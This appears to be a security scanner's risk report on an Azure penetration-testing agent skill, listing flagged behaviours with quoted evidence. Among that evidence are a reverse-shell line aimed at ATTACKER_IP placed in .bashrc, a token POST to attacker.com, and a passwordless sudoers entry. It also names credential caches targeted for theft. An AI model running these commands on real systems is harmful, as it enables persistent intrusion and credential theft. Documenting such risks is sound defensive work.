The Agent Skills Directory

[COMMAND_EXECUTION]: The skill contains commands to establish persistent access on target systems, including the creation of reverse shells within shell configuration files. Evidence: echo '(nohup bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1" 2>/dev/null &)' >> $HOME/.bashrc in references/persistence-techniques.md.- [DATA_EXFILTRATION]: The instructions direct the agent to capture sensitive Azure authentication tokens (Managed Identity) and exfiltrate them to an attacker-controlled server. Evidence: Invoke-WebRequest -Uri "https://attacker.com/collect" -Method POST -Body $token in references/persistence-techniques.md.- [COMMAND_EXECUTION]: The skill provides commands for privilege escalation on host systems, such as modifying the sudoers file to allow passwordless root access and injecting SSH keys into root directories. Evidence: echo 'attacker ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers in references/persistence-techniques.md.- [CREDENTIALS_UNSAFE]: The skill facilitates the harvesting of sensitive credentials from local caches, including msal_token_cache.json and Windows DPAPI protected folders (TokenBroker\Cache).- [REMOTE_CODE_EXECUTION]: The methodology leverages Azure's management capabilities (az vm run-command and CustomScriptExtension) to execute arbitrary scripts on remote virtual machines.- [EXTERNAL_DOWNLOADS]: The skill downloads and executes various third-party offensive security tools and modules from external GitHub repositories, including o365spray, AADInternals, and MicroBurst.

azure-pentesting